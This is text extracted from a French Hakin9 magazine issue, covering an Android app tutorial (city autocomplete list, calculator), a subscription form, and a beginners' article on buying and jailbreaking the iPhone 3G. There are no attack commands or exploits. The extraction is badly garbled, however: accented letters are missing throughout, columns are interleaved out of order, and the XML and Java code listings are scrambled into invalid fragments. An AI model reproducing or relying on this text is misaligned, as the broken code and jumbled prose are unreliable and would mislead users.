dessins, l'accs chaque ressource est possible grce aux identifiants crs automatiquement par Eclipse. Les dfinitions de ces identifiants se trouvent dans le fichier R.java. Trois types lmentaires des ressources sont disponibles : dessins, composants et gnralement, widgets pour crer une interface utilisateur ainsi que la valeur, par exemple : chiffres, suites de caractres. Si, pour des raisons qui vous appartiennent, vous souhaitez crer l'interface vous-mmes, vous pouvez crer un objet appropri dans la mthode onCreate, par exemple, TextView, charg d'afficher le texte. Le deuxime fragment du Listing 1 ralise cette opration. Nous crons le nouvel objet d'une manire typique pour Java et nous dterminons le contenu du composant l'aide de la mthode SetText. Ensuite, nous dfinissons le widget de base de l'application l'aide de la mthode SetContentView, comme dans l'exemple original.

bien videmment des boutons, des champs d'dition ainsi que des widgets de tout genre pour positionner d'autres widgets, par exemple, LinearLayout. Ce type de composant place chaque widget d'une manire linaire, l'un aprs l'autre. Le tableau TableLayout est une autre manire disponible pour positionner les composants. Cette fois-ci, les widgets seront placs dans un tableau, dans des

Un mot de plus sur l'interface

Android a t quip d'une bibliothque assez riche de composants (widgets) pour crer des applications. Vous disposez
62 HAKIN9 4/2009

Figure 2. Programme avec une liste de villes dans l'environnement Eclipse et le tlphone lanc dans l'mulateur.

ANDROID
en Eclipse. Nous utilisons le widget LinearLayout pour mettre les trois widgets au mme niveau. TextView est le premier widget. Il jouera le rle d'une tiquette. Pour cette raison, nous saisissons le mot Ville dans la proprit Text. AutocompleteTextView est le widget suivant. Il faut modifier l'identifiant (proprit Id) en @+id/CityEdit dans le cas de ce widget. Le nom exact de ce widget est CityEdit. Le dernier widget s'appelle DigitalClock. En utilisant l'diteur, il est possible de le centrer l'cran en modifiant la proprit Layout gravity en center_horizontal. Il est possible d'diter l'interface en ditant le fichier XML. Le Listing 3 prsente une description complte de l'interface de notre exemple. Crer une interface via l'dition du fichier XML est, contrairement ce qu'on peut penser, aussi facile, ce que vous pourrez constater dans l'exemple suivant dans lequel nous crerons une calculatrice. La balise LinearLayout contient dans notre exemple trois autres balises reprsentants les widgets ncessaires. Une fois l'interface prpare, il faut apporter quelques modifications dans le code source. Le Listing 2 prsente les fragments les plus importants du code. La liste de villes constitue le premier lment. Crez un simple tableau appel CITIES, ajoutez de la manire typique pour Java. Le tableau devient argument de l'objet de l'adapter qui utilise la ressource cre reprsentant la liste droulante :
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, item_1line, CITIES); android.R.layout.simple_dropdown_

Listing 3. Fichier XML qui dcrit l'interface de l'exemple avec la liste de villes
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android= "http://schemas.android.com/apk/res/android"

android:orientation="vertical"

android:layout_width="fill_parent" <TextView

android:layout_height="fill_parent"> android:layout_width="wrap_content" android:text="Miasto" />

android:layout_height="wrap_content" <AutoCompleteTextView android:id="@+id/CityEdit" android:layout_width="fill_parent" android:layout_height="wrap_content"/> android:layout_width="wrap_content"

<DigitalClock android:id="@+id/DigitalClock" android:layout_height="wrap_content" </DigitalClock> </LinearLayout>

android:layout_gravity="center_horizontal">

Listing 4. Fragments de la description de l'interface de notre calculatrice


//schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:id="@+id/LinearLayout"> <TableLayout android:id="@+id/TableLayout01" android:layout_height= <EditText android:id="@+id/DigitText_F1" android:singleLine="true" </EditText> "wrap_content" android:layout_width="fill_parent"> <LinearLayout android:layout_height="wrap_content" xmlns:android="http:

android:layout_height="wrap_content" android:layout_width="fill_parent">

<EditText android:id="@+id/DigitText_F2" android:layout_height=\ <EditText android:id="@+id/DigitText_F3" android:layout_height= <TableRow android:id="@+id/TableRow04" android:layout_width= <Button android:id="@+id/PlusBTN" android:layout_height= ... "wrap_content"android:layout_height="wrap_content"> "wrap_content" android:layout_width="fill_parent"></EditText> "wrap_content" android:layout_width="fill_parent"></EditText>

"wrap_content"android:text="+" android:layout_width="fill_parent"></Button>

</TableRow>

<TableRow android:id="@+id/TableRow05" android:layout_width= <Button android:id="@+id/SinBTN" android:layout_height= "fill_parent"></Button> "wrap_content"android:layout_height="wrap_content">

"wrap_content"android:text="Sin" android:layout_width=

</TableRow>

<TableRow android:id="@+id/TableRow05" android:layout_width= <Button android:id="@+id/ModBTN" android:layout_height= "fill_parent"></Button> "wrap_content"android:layout_height="wrap_content">

"wrap_content"android:text="Mod" android:layout_width=

La ligne suivante du code prsente la manire d'obtenir le pointeur sur l'objet de l'interface. Employez la mthode findViewById laquelle il faut prciser en argument une constante gnre automatiquement par l'environnement Eclipse.
AutoCompleteTextView textView = (R.id.CityEdit);

</TableRow>

<EditText android:id="@+id/DigitText_F_OUT" android:layout_height= <TextView android:id="@+id/PrgTitle" android:layout_height= "wrap_content" android:layout_width="fill_parent"></EditText>

(AutoCompleteTextView) findViewById

"wrap_content"android:layout_width="fill_parent" android:layout_gravity= </TableLayout>

"center_vertical"android:text="Nieco inny kalkulator V.0.5a"></TextView>

Il est trs facile d'ajouter l'adapter ; il suffit d'employer la mthode setAdapter :


textView.setAdapter(adapter);
4/2009 HAKIN9 63

</LinearLayout>

TECHNIQUE
Comme vous pouvez le constater, il est trs facile d'obtenir ce comportement, utile sans doute pour les utilisateurs. Il suffit d'avoir trois lignes de code. Listing 5. Gestion de l'opration de somme et de l'exponentiation modulaire
private Button.OnClickListener PlusBTN_OnClick = new Button.OnClickListener() { public void onClick(View v) { if(DigitEdit_F1.getText().toString() != "" && igitEdit_ F2.getText().toString() != "") { double f1=Float.valueOf(DigitEdit_F1.getText().toString()); double f2=Float.valueOf(DigitEdit_F2.getText().toString()); double ff=f1+f2; DigitEdit_F_OUT.setText(String.valueOf(ff)); } } }; private Button.OnClickListener PowerModBTN_OnClick = new Button.OnClickListener() { public void onClick(View v) { if(DigitEdit_F1.getText().toString() != "" && DigitEdit_ F2.getText().toString() != "" && DigitEdit_F3.getText().toString() != "") { BigInteger f1 = new BigInteger ( DigitEdit_ F1.getText().toString() ); BigInteger f2 = new BigInteger ( DigitEdit_ F2.getText().toString() ); BigInteger f3 = new BigInteger ( DigitEdit_ F3.getText().toString() ); BigInteger ff = f1.modPow(f2, f3); DigitEdit_F_OUT.setText( String.valueOf(ff) ); } } };

Une meilleure calculatrice, quoique plus laide

Concevoir une application trs utile, par exemple, une calculatrice dote des fonctions dont est dpourvue la calculatrice intgre, ne prendra pas beaucoup de temps, malgr les apparences. Les donnes pour les calculs seront saisies via trois champs d'dition. Contrairement aux autres calculatrices, nous saisirons les donnes dans les champs part, par exemple, lors de l'addition, le premier argument contiendra la premire valeur et le second argument se trouvera naturellement dans le deuxime champ. Dans le cas d'addition, le troisime champ ne sera pas utilis. Le rsultat sera plac dans le quatrime champ car les trois premiers champs constituent les champs des arguments pour les autres fonctions proposes par notre calculatrice. La fonction PowerMod, autrement dit, exponentiation modulaire, emploiera pleinement les trois champs d'arguments. Le Listing 4 prsente des fragments du fichier XML qui dcrit l'interface de la calculatrice. Nous utilisons deux

composants chargs de positionner d'autres widgets. LinerLayout est le premier widget contenant un autre widget : TableLayout. Chaque composant se trouve dans ce deuxime composant. Il s'agit bien videmment des champs d'dition

Lorsque vous appuyez sur les touches CTRL-N, vous verrez s'afficher une fentre o vous slectionnez le type du projet. Une fois le plug-in ADT install correctement et aprs avoir indiqu l'emplacement du paquet SDT, vous aurez votre disposition le dossier Android. Ce dossier ne contient qu'une seule option : Android Project et il faut slectionner ce type de projet. Une nouvelle fentre s'affichera. Il faut y complter quatre champs. Le premier champ, Project Name, est le nom du paquet. Dans le cas de notre premier exemple, saisissez : com.example.AndT1. Le nom de la classe de notre application, Activity name, est le troisime champ important. Nous avons prcis AndT1 dans notre projet. Le nom de l'application (Application Name) constitue le quatrime champ et contrairement aux champs prcdents, le nom doit tre descriptif car la valeur de ce champ sera visible l'utilisateur. Si vous voulez lancer le projet, il faut utiliser l'mulateur du tlphone, disponible dans le paquet SDK. Utiliser l'mulateur est une excellente occasion pour voir ce que propose le tlphone Google. Pour l'instant, nous voulons lancer notre application. Slectionnez l'option Run configurations... dans le menu Run. Vous verrez s'afficher une bote de dialogue dans laquelle vous slectionnez l'option Android Application et le projet avec l'application lancer dans le champ Project . L'onglet Target est aussi important. Vous pouvez y dfinir la taille de l'cran ainsi que la vitesse de connexion rseau. Malgr les apparences, c'est un point important lorsque vous voulez tester par exemple, les applications rseau et leur comportement dans les conditions plus neutres, par exemple, dans un rseau GPRS ou EDGE. La manire dont l'application est lance est aussi importante. Une fois l'mulateur lanc, il faut slectionner l'icne Home (maison) dans le tlphone virtuel, ce qui permet de lancer l'application. Pour lancer une nouvelle version de l'application cre, ne fermez pas l'mulateur mais l'application utilise. L'application en cours de cration sera alors relance en Eclipse.

Nouveau projet et lancement des applications

susmentionns et des boutons chargs des calculs. Les champs d'dition sont prsents directement sans balises supplmentaires. Les boutons requirent des oprations diffrentes ; il faut utiliser une balise supplmentaire : TableRow. Elle permet aux boutons de se placer sous forme d'un tableau, comme vous pouvez voir sur la Figure 3. Dans le cas des composants, comme TextView, nous modifions la valeur de la proprit layout_width de wrap_content en fill_parent. Cette dmarche permettra d'tirer les composants sur toute la largeur du tlphone. Une fois l'interface utilisateur prpare, passons au code. Dans un premier temps, il faut dclarer les objets reprsentant les boutons ou les champs d'dition, par exemple :
protected Button PlusBTN;

protected EditText DigitEdit_F1;

Pour obtenir un lien au widget concret, utilisez findViewById. N'oubliez pas non plus de convertir le type ncessaire :
PlusBTN = (Button) findViewById(R.id. PlusBTN);

64

HAKIN9 4/2009

ANDROID
un grand avantage du systme Android. Le matriel sur lequel fonctionne ce systme permet de crer des programmes sans utiliser des astuces. Les anciens modles des tlphones ne permettaient pas par exemple d'employer des nombres virgule flottante et il tait impossible d'utiliser la mthode BigInteger.

Fonctionnalits des tlphones G1 et Neo Freeruner

La taille du tlphone G1 : 55,7x117,7x17,1 mm et son poids : 158g. N'oubliez pas que le tlphone Google est pourvu d'un clavier. La taille du tlphone Freeruner est semblable : 120,7 x 62 x 18,5 mm mais le tlphone est plus lger : 133g. Les diffrences semblables concernent aussi l'cran ; le tlphone Freeruner est dot d'un cran dont la rsolution est de 480x640 d'une taille 2,8 pouces. L'cran du tlphone Google propose une rsolution plus petite mais l'cran est plus grand : 3,2 pouces. Naturellement, les deux tlphones travaillent avec les types lmentaires du rseau : GSM, GPRS, EDGE. Le tlphone G1 offre en revanche plus de fonctionnalits. Ce tlphone est quip aussi d'un appareil photo dont est dpourvu le tlphone Neo Freeruner. Une mmoire accessible est un autre aspect important. Freeruner est pourvu d'une mmoire RAM de 128 Mo et d'un NAND Flash 256 Mo, donc d'une mmoire ROM. Le processeur est Samsung 3552B d'une frquence de travail 400 Mhz ou 500 Mhz. Le tlphone Google a plus de mmoire RAM, 192 Mo RAM et la taille de la mmoire ROM est identique. Le processeur est diffrent, il s'agit de Qualcomm MSM7201A d'une frquence de travail plus leve : 528 Mhz. Les deux processeurs utilisent le mme ensemble d'instructions conformes l'architecture ARM. Les deux tlphones sont quips d'un rcepteur GPS. Le tlphone Google propose un accs aux services Google, notamment la carte, ce qui constitue un outil trs intressant en liaison avec GPS. Les deux tlphones proposent un accs aux cartes mmoire mais Neo Freeruner offre une plus grande souplesse. Il est possible d'installer sans problme dans ce tlphone n'importe lequel logiciel, aussi bien le systme OpenMoko que Android, voire une distribution spcialise de Debian. Les deux tlphones ont aussi un dfaut : dure de vie des batteries. Si vous utilisez beaucoup les applications ou le rcepteur GPS, les tlphones pourront fonctionner de cinq six heures. DigitEdit_F1 = (EditText) findViewById (R.id.DigitText_F1);

L'tape suivante consiste ajouter la gestion des vnements. Nous nous concentrons sur l'vnement onClick pour les boutons, par exemple :
PlusBTN.setOnClickListener( PlusBTN_ OnClick );

Le Listing 5 prsente la gestion de l'vnement onClick pour le bouton de la somme et de l'exponentiation modulaire.

Dans les deux cas, dans un premier temps, il faut vrifier si les champs d'dition ne sont pas vides. Si cette condition est remplie, nous pouvons passer aux calculs. Nous lisons les suites de caractres et nous les convertissons en types de donnes appropris et nous sommons les chiffres. Dans le cas de l'exponentiation modulaire, nous utilisons la mthode modPow de la classe BigInterger. Tous ceux qui crent les programmes en Java ont srement remarqu que le code prsent sur le Listing 5 ne contenait pas de fragments particuliers. Malgr les apparences, c'est

Android propose galement un accs aux autres fonctions de tlphone, notamment, GPS, acclromtres ou cartes Google susmentionnes. La taille restreinte de cet article ne permet pas malheureusement de prsenter d'autres fonctionnalits de API, mme brivement. Les simples exemples prsents dans cet article dmontrent toutefois que crer un nouveau logiciel pour Android est un processus assez pratique. Un mulateur ajout et une bonne intgration de SDK avec Eclipse aident et facilitent sans doute la cration de nouvelles applications. Esprons que Android, en tant que projet OpenOffice, permettra un nombre plus grand de tlphones d'employer le noyau du systme Linux et aux utilisateurs d'accder aux programmes plus sophistiqus et aux tlphones qui constitueront autre chose qu'un appareil tlphoner. Si nous avons besoin des applications spcialises, nous pourrons nous-mmes les concevoir et les insrer dans notre propre tlphone.

Conclusion

Sur le Net
http://www.android.com site Web de base relatif au systme Android ; http://developer.android.com/ informations pour les programmeurs : SDK ; http://www.eclipse.org/ environnement Eclipse ; http://www.openmoko.comOpenMoko premier systme avec Linux pour les tlphones mobiles ; http://www.openmoko.org documentation relative OpenMoko pour les programmeurs.

propos de l'auteur

Figure 3. Calculatrice en Eclipse et dans l'mulateur

L'auteur cre des logiciels pour les systmes Windows et Linux. Centres d'intrt : thorie des langages de programmation et bons livres. Contact avec l'auteur : autorzy@linux.com.pl

4/2009 HAKIN9

65

CONOMISEZ

22%

Hakin9 Comment se dfendre est le plus grand Bimestriel en Europe traitant de la scurit informatique. Vous trouverez dans nos pages des articles pratiques sur les mthode offensives et dfensives. Vous profiterez de programmes, de tutoriels, et de vidos pratiques.

Avec notre abonnement 35 EUR :

Vous conomisez 22% Vous recevez rgulirement les magazines votre domicile ! Vous obtenez un des nombreux cadeaux !

Choisissez votre propre mode dabonnement : par fax au numro : +31 (0) 36 530 71 18 par courrier : EMD The Netherlands Belgium P.O. Box 30157, 1303 AC Almere, The Netherlands par courrier lectronique : software@emdnl.nl par notre internet en ligne : http://www.hakin9.org/prt/view/abonnez-vous.html

BULLETIN DABONNEMENT
comment se dfendre
Merci de remplir ce bon de commande et de nous le retourner par fax : +31 (0) 36 540 72 52 ou par courrier : EMD The Netherlands Belgium P.O. Box 30157 1303 AC Almere The Netherlands Tl. +31 (0) 36 530 71 18 E-mail : software@emdnl.nl
Prnom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Tlphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement partir du numro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................

PRIX DABONNEMENT HAKIN9 COMMENT SE DFENDRE : 35


Je rgle par : Carte bancaire n CB

code CVC/CVV

Abonnez-vous et recevez un cadeau !

expire le _______________ date et signature obligatoires type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

Virement bancaire :
Nom banque : ABN AMRO Bank Randstad 2025 1314 BB ALMERE The Netherlands banque guichet numro de compte cl Rib 59.49.12.075 IBAN : NL14ABN0594912075 Adresse Swift (Code BIC) : ABNANL2A

DBUTANTS
Marcell Dietl

LiPhone 3G
Degr de difficult

liPhone de lapple est lun des tlphones portables les plus aims et en mme temps les plus dtests des dernires annes. les exalts le vantent au septime ciel et les opposants critiquent la politique commerciale de lapple chaque occasion. Quest-ce que liPhone nous offre vraiment ? Qua-t-il a de bon et de plutt mauvais ?

t comment se passe le Jailbreaking ? Dans cet article nous allons traiter ces questions de manire approfondie. Larticle parle de liPhone 3G de lApple, dernirement trs convoit, et doit vous faciliter la dcision pro ou contre lachat de cet appareil. Que vous vouliez tout simplement savoir ce quil y a de si magique dans ce Smartphone ou ce que la communaut des utilisateurs appelle Jailbreaking, cet article peut tre aussi intressant. Commenons alors par le dbut : le hardware.

est lger et peu gnant. Les relativement grandes dimensions dues lcran ne drangent pas les utilisateurs qui le portent constamment dans la poche du pantalon. Le Smartphone est livr avec des couteurs de grande qualit, un cble USB qui peut tre branch directement lordinateur ou tre reli un adaptateur pour prises de courant. La documentation, un chiffon de nettoyage ainsi que dautres petits accessoires sont inclus.

Le Hardware de liPhone 3G

expriences lachat

Cet artiCLe exPLique...


Dans cet article vous allez apprendre : les informations essentielles sur le nouvel iPhone, les avantages et les inconvnients de ce Smartphone, comment fonctionne un Jailbreak, ce quil offre et o se situent les risques.

Ce qu'iL faut savoir...


pas de connaissances pralables. 68 HAKIN9 4/2009

Ce qui frappe au premier coup dil et ce quApple met particulirement en avant est le grand cran panoramique des iPhones qui dispose de la technologie Multi-Touch (il ragit au contact non seulement dun doigt mais aussi au contact de plusieurs doits en mme temps). Lcran fait 3.5 pouces et possde une rsolution de 480 x 320 pixels. LiPhone 3G est livr avec une capacit de stockage de 8 ou 16 GB ; en outre il est compatible avec les technologies telles que HSDPA, GSM, UMTS etc. Lappareil photo numrique intgr possde en tout 2 Megapixel et se prte bien pour les instantans. Sa nettet diminue beaucoup la nuit et les photos sans luminosit suffisante seront floues. Un flash nest pas intgr ce qui rend lutilisateur dpendant de la lumire du jour. Grce son faible poids (moins de 150g) liPhone

Si on veut acheter (lgalement) un iPhone en Allemagne, on doit diriger ses pas vers un T-Mobile Shop ou son achat sera accompagn du contrat connexe. A mon avis le forfait le mieux adapt pour un utilisateur lambda sappelle Complete M et cest celui que jai choisi. Inclus sont 100 minutes, 40 SMS, lutilisation illimite de WLAN et HSDPA. Si on se dcide pour un tarif moins cher, ce forfait daccs Internet illimit ny est pas compris, ce que je trouve proccupant, car en utilisant liPhone une grande quantit de donnes est gnre par ex. en crivant et recevant des E-mails, en surfant, coutant la radio par Internet et par les connections que liPhone tablit rgulirement avec les serveurs de Apple. Revenons au sujet : acheter un iPhone ? En un seul mot : cest compliqu !

IPHoNe 3G
un chacun ne possde pas Windows ou Mac OS X, mais la probabilit que cette personne sachte un iPhone est faible. ITunes est ncessaire non seulement pour activer liPhone mais il constitue surtout le point essentiel de lchange des donnes avec lappareil. La musique est transfre uniquement par le biais de liTunes, en outre les contacts dans le rpertoire peuvent tre synchroniss avec la listes des adresses dans liPhone. Sans iTunes lutilisation de liPhone na pas de sens et reste peu intressante.

quest-ce le Jailbreaking

Figure 1. Lcran de dmarrage de Pwnage Quand je me suis dcid pour lachat, jai d constater, ma dception, que les stocks de liPhone taient partout puiss, et jai appris quApple na fourni en Allemagne que 5000 exemplaires sur les 35000 annoncs. Entre-temps ce nest plus le cas. On suppose quApple la fait exprs pour augmenter lattrait et susciter le dsir de possder un tel appareil. Etant sur la liste dattente comptant quelques 80 personnes, jai reu bizarrement, et au bout dune semaine dj, un appel de la part de Telekom me demandant de venir chercher mon appareil. Le soir mme je me suis rendu directement au stand du magasin et les formalits ont alors commenc. Jai arrt de compter combien de pages la vendeuse a d remplir sur son terminal. Il y en avait quelques unes. Jusqu ce que toutes les donnes soient enregistres, cela a dur presque une heure. Ensuite jai pay environ 150 euros pour mon iPhone et suis rentr la maison pour le dverrouiller. ce que jai fait selon les instructions. Cette tape ntait pas complique et na dur que quelques minutes. On peut donner comme contre argument que tout

LiPhone offre maintes fonctionnalits mais Apple a une politique commerciale trs stricte (et souvent incomprhensible), en consquence liPhone ne peut tre enrichi que par des applications et fonctionnalits autorises par Apple et prsentes dans lApp Store. Les applications peuvent tre supprimes ultrieurement, mme par liPhone lui-mme (vous allez apprendre comment cela fonctionne dans la suite de larticle). Ainsi un accs direct au systme des donnes par exemple nest pas possible et cest exactement ici que surgit la notion du Jailbreaking.

Pas diPhone sans itunes

La vendeuse ma inform dj que je devais dverrouiller liPhone par iTunes,

Figure 2. Pwnage installe un nouveau micrologiciel


4/2009 HAKIN9 69

DBUTANTS
A laide de divers outils comme Pwnage, Quickpwn et Winpwn on peut remplacer le micrologiciel install par Apple par une version craque. Accessoirement on peut installer un logiciel nomm Cydia qui ressemble lApp Store. La diffrence est que tous les logiciels sont disponibles librement et offrent souvent des fonctionnalits qui nont pas t prvues par Apple. Les applications les plus intressantes sont le terminal qui permet laccs liPhone via un shell, ainsi que lapplication Backgrounder parue rcemment qui donne la possibilit de faire fonctionner les applications en arrire plan, (une fonctionnalit dont disposait jusqu prsent uniquement liPod de lApple). Observons comment se droule le processus du Jailbreaking (excut dans le systme Mac OS X avec Pwnage). Attention : un iPhone qui a subit un Jailbreak tombe sous le coup dune exclusion de garantie dApple ! et on remarque aprs quelques instants laffichage indiquant que le micrologiciel a t cre (voir Figure 2). Lopration peut durer jusqu 20 minutes. A la fin on nous demande si cet iPhone a t dj craqu ou si cest la premire fois. La dernire tape tant de mettre liPhone en mode DFU (Device Firmware Upgrade) pour dclasser compltement le micrologiciel. Cest un accessoire de Apple incorpor dans iTunes, qui a t prvu pour remettre liPhone dans son tat initial mais qui peut aussi ser vir pour enregistrer le micrologiciel que lutilisateur a cre lui-mme. Cette action peut durer quelques minutes. Quand tout est rgl liPhone redmarre et on voit une image de dmarrage dif frente (voir Figure 3). Elle reprsente le logo du projet Pwnage. Pour vrifier si les oprations ont t bien excutes on peut installer lapplication Terminal par exemple et lessayer (voir Figure 4). Bugs apparaissent toujours, et particulirement quand il est possible dinstaller les Third-Party-Applications (software qui nont pas t dvelopps par Apple). Parmi les points faibles les plus redoutables jusqu prsent comptent la possibilit dexcuter le Code par le Browser Safari et le bug dans lancien micrologiciel, dont on a parle beaucoup sur Internet, qui permet de contourner lentre du mot de passe grce une combine trs simple.

La batterie

Pwnage en action

Le logiciel Pwnage se prsente lutilisateur au dmarrage comme tant trs simple, comme on en a lhabitude chez Macsoftware (voir Figure 1). On choisit le priphrique quon veut craquer et suit les instructions sur lcran Il existe beaucoup dinstructions sur Internet mais elles ne sont que rarement utiles. Le micrologiciel pour liPhone dApple est centralis dans un fichier IPSW quon tlcharge auparavant dans une version approprie partir du ser veur Apple Ser ver. Ensuite on transmet ce fichier dans le tool, si possible on ne change rien dans les rglages standards

Figure 3. Le logo de dmarrage dun iPhone avec un Jailbreak russi


70 HAKIN9 4/2009

Avec le temps de plus en plus de spculations sur les backdoors dans liPhone sont apparues, finalement on a trouv la rponse, nanmoins je trouve lappellation Backdoor un peu inadapte. LiPhone se connecte dans des inter valles bien dfinis avec un site hberg par Apple quon trouve sous https://iphone-ser vices.apple.com/ clbl/ unauthorizedApps. Ce site Internet contient une liste nomme BlackListedApps. Ce nest donc pas vraiment une Backdoor qui permettrait dexcuter des commandes sur liPhone mais plutt une fonctionnalit supprimant des logiciels indsirables. Officiellement cette fonction devrait tre utilise contre le logiciel malveillant qui va srement bientt suivre, et serait, si utilise vraiment cet ef fet, trs utile et judicieuse. Bien sr, on peut discuter du bien-fond de son installation, mais la mdiatisation sur liPhone Backdoor quon pouvait trouver sur Internet, tait hautement exacerbe. Le deuxime danger pour les utilisateurs sont les Bugs. Apple parle bien videmment de la scurit de ses produits et la prsente comme lune des priorits les plus importantes, toutefois les

Backdoors et bugs

Cet article serait incomplet sans un paragraphe sur le temps de fonctionnement de la batterie. La batterie de liPhone est malheureusement trs vite vide. En utilisant liPhone activement (par ex. en coutant de la musique), lautonomie de la batterie natteint mme pas 5 heures. Par contre en mode standby elle tient assez longtemps. Son avantage est la possibilit de la charger en la branchant lordinateur. Il ne faut pas oublier que la batterie se dcharge plus rapidement si on gnre beaucoup dactivits sur le rseau. En outre on ne peut tre jamais sr quant aux ThirdParty-Applications car on ne sait pas si les dveloppeurs optimisent la capacit de mmoire, comme le souhaite Apple.

Figure 4. Le terminal.app install per Cydia

IPHoNe 3G
app store
avocats. Ce comportement empche aussi lapparition sur le march des manuels sur lutilisation du SDK pour le dveloppement des software pour iPhone. Un tel manuel est certes dj crit mais la publication en est empche par les avocats de Apple. Comme preuve un extrait du mail de bienvenu sur la liste de diffusion de Apple ce sujet : Until an announcement is made otherwise, developers should be aware that the iPhone SDK is still under non-disclosure (section 5.3 of the iPhone Development Agreement). It can't be discussed here, or anywhere publicly engagement contractuel avec T-Mobile nest pas ncessaire. Cependant, cette of fre prtendument bonne est en ralit misrable. A premire vue tout parat comme fait par Apple mais ce sentiment ne dure que jusqu ce quon allume lappareil pour la premire fois. Cest alors quapparat la rplique pas chre et le plaisir de possder un iPhone sef face aussitt. Le menu ne fait que rver de Multitouch (voir image 1), lenveloppe est ondule et mal travaille (voir image 2). Je ne peux quavertir chacun de tomber dans un truc pareil. Celui qui veut viter le contrat avec T-Mobile na qu acheter un SIM-UNlocked iPhone dans un pays comme la Russie (au prix de 23 000 Rubel ce qui reprsente environ 600 euro). Mais mme ici la prudence est fortement recommande. Il est vrai que liPhone peut fonctionner comme tout un portable ordinaire avec nimporte quel fournisseur daccs mais il ne faut pas sous-estimer les quantits de donnes gnres par

Celui qui les applications standards de liPhone ne suffisent pas, peut utiliser lApp Store pour tlcharger dautres logiciels. Le choix tant large, on peut y trouver non seulement des applications de loisir mais aussi des applications commerciales assez chres. Tout y est. Linstallation est assez simple et le paiement seffectue par le compte iTunes quon doit enregistrer en activant liPhone. Le paiement est possible par exemple en Allemagne par prlvement par le biais du fournisseur de ser vices Click&Buy. Aprs avoir achet une application, celle-ci apparat automatiquement sur lcran mais peut tre supprime tout moment. Si on veut lavoir nouveau, on ne paie pas une deuxime fois. Les mises jour sont incluses gratuitement. Lapplication la plus connue et srement la plus prsente dans les mdias sappelle I am rich. Lorsquelle est lance elle affiche une pierre prcieuse rouge. Pour seulement 999 US dollars ! Elle a t rapidement supprime de lApp Store, toutefois on se demande pourquoi au juste Apple a autoris quun tel logiciel soit prsent dans lApp Store. Un dtail de lApp Store doit tre absolument voqu : les logiciels disponibles dans lApp Store amricain ne peuvent pas tre installs sur un iPhone allemand. Quand on essaie malgr tout, un message saffiche sur lcran et lapplication est supprime.

Plagiats provenants de chine

Il nest pas trop tonnant que les plagiats de liPhone existent et quils proviennent de Chine. On peut commander ces appareils par le biais de certains distributeurs. Ils promettent beaucoup : deux batteries sont fournies, il est possible de faire marcher liPhone avec deux cartes SIM, et un

Dveloppement de liPhone

Si on souhaite crer des logiciels pour iPhone, on peut tlcharger le SDK (Software Development Kit) contenant des logiciels spciaux et la documentation. On peut aussi conclure un contrat qui offre dautres possibilits, cependant il cote de largent chaque anne. Dans tous les cas on doit signer lApple NDA (Non Disclosure Agreement) lequel on peut rsumer, sans exagrer avec STFU (Shut The F*ck Up) car il contient une annonce claire pour tous les dveloppeurs quil est interdit de discuter de liPhone SDK ainsi que de ses fonctions, et quiconque manque ses obligations aura affaire avec les

Figure 5. Le menu dun plagiat de Chine


4/2009 HAKIN9 71

DBUTANTS
toutes les activits en rseau. Jai appris de mes connaissances que les factures slevant 1600 euros aprs un mois dutilisation taient monnaie courante. LiPhone de T-Mobile revient dfinitivement moins cher (environ 150 euros + 24 mois x environ 50 euros = 1350 euros). on bouge les doigts en haut ou en bas. Pour agrandir un endroit bien prcis dun site Internet on touche deux fois liPhone dans un bref inter valle de temps ou on reproduit la mme mthode qui fonctionne pour les photos. Les manipulations frquentes de lcran provoquent une quantit de traces de doigts mais le nettoyage de lappareil est rapide avec un chif fon. Soyez quand mme prudents avec leau car les tests de liPhone ont montr une sensibilit particulire cet lment.

Sur Internet
http://wikee.iphwn.org/ Comment craquer un iPhone ; http://blog.iphone-dev.org/ Le blog de iPhone Dev Team est le plus important point dinformation autour du Jailbreaking ; http://www.t-mobile.de/iphone/ Les informations sur lachat dun iPhone chez T-Mobil ; http://www.apple.com/de/iphone/ Les informations sur liPhone 3G de Apple ; http://www.hackint0sh.org/ la clbre HakintOsh Community qui soccupe de craquer les OS X et qui propose aussi HowTos autour du iPhone ; http://www.winpwn.com/ La page des projets WinPwn sur Jailbreaking de liPhone sur Windows XP/Vista ; http://de.wikipedia.org/wiki/Apple_ iPhone Un article trs complet de Wikipedia avec dautres liens ; http://developer.apple.com/iphone/ Le iPhone Dev Center de Apple pour les dveloppeurs.

utilisabilit

Sur lutilisabilit des iPhones on ne peut pas trop discuter. Il est trs simple dutilisation et ne ncessite pas dinstructions. Pour ouvrir un logiciel on touche brivement le symbole, pour le fermer on emploie le seul bouton disponible le bouton daccueil. Quand on regarde les photos on peut changer leur orientation en tournant liPhone. Pour zoomer on utilise deux doigts. Pour faire un zoom avant on loigne les doigts. Pour faire un zoom arrire on approche les doigts. Pour faire dfiler

acheter : oui ou non ?

On ne peut pas rpondre de manire globale cette question. Pour les utilisateurs de Mac OS X liPhone fait beaucoup plaisir et on ne se sent pas dracin. En tant quutilisateur ordinaire qui ne souhaite qucrire des SMS ou tlphoner, lachat ne vaut certainement pas le coup. Les discussions savoir

dans quelle mesure liPhone se prte aux activits conomiques durent encore actuellement, cependant les grands consortiums se sont dcids pour son emploi. Au bout du compte chacun doit dcider seul sil a besoin dun tel appareil. Pour ceux qui aiment jouer, samuser et apprcient les petits gadgets, cest un bon choix. Toutefois il existe dautres alternatives moins coteuses qui peuvent tre prises en considration. Jespre que cet article vous a aid avoir une vue densemble sur les diffrentes particularits de liPhone. Pour le reste je vous conseille de lire les liens disponibles dans la catgorie Sur Internet.

propos de l'auteur

Lauteur soccupe depuis quelques annes de la scurit informatique et des autres aspects de lInformation Technology. Suite lachat dun iPhone, son intrt pour la scurit de OS X ainsi quau sujet de Mobile Device Malware a aussi augment. Depuis le dbut de lanne il crit son propre blog : Blog Wired-Security.net ou vous pouvez trouver maints textes au sujet de liPhone. Contact avec lauteur : skyout@wiredsecurity.net

Figure 6. La surface ondule dun plagiat


72 HAKIN9 4/2009

IPHoNe 3G

4/2009 HAKIN9

73

STeeVe BarBeau

Degr de difficult

DBUTANTS Est-ce que VoIP rime avec scurit ?


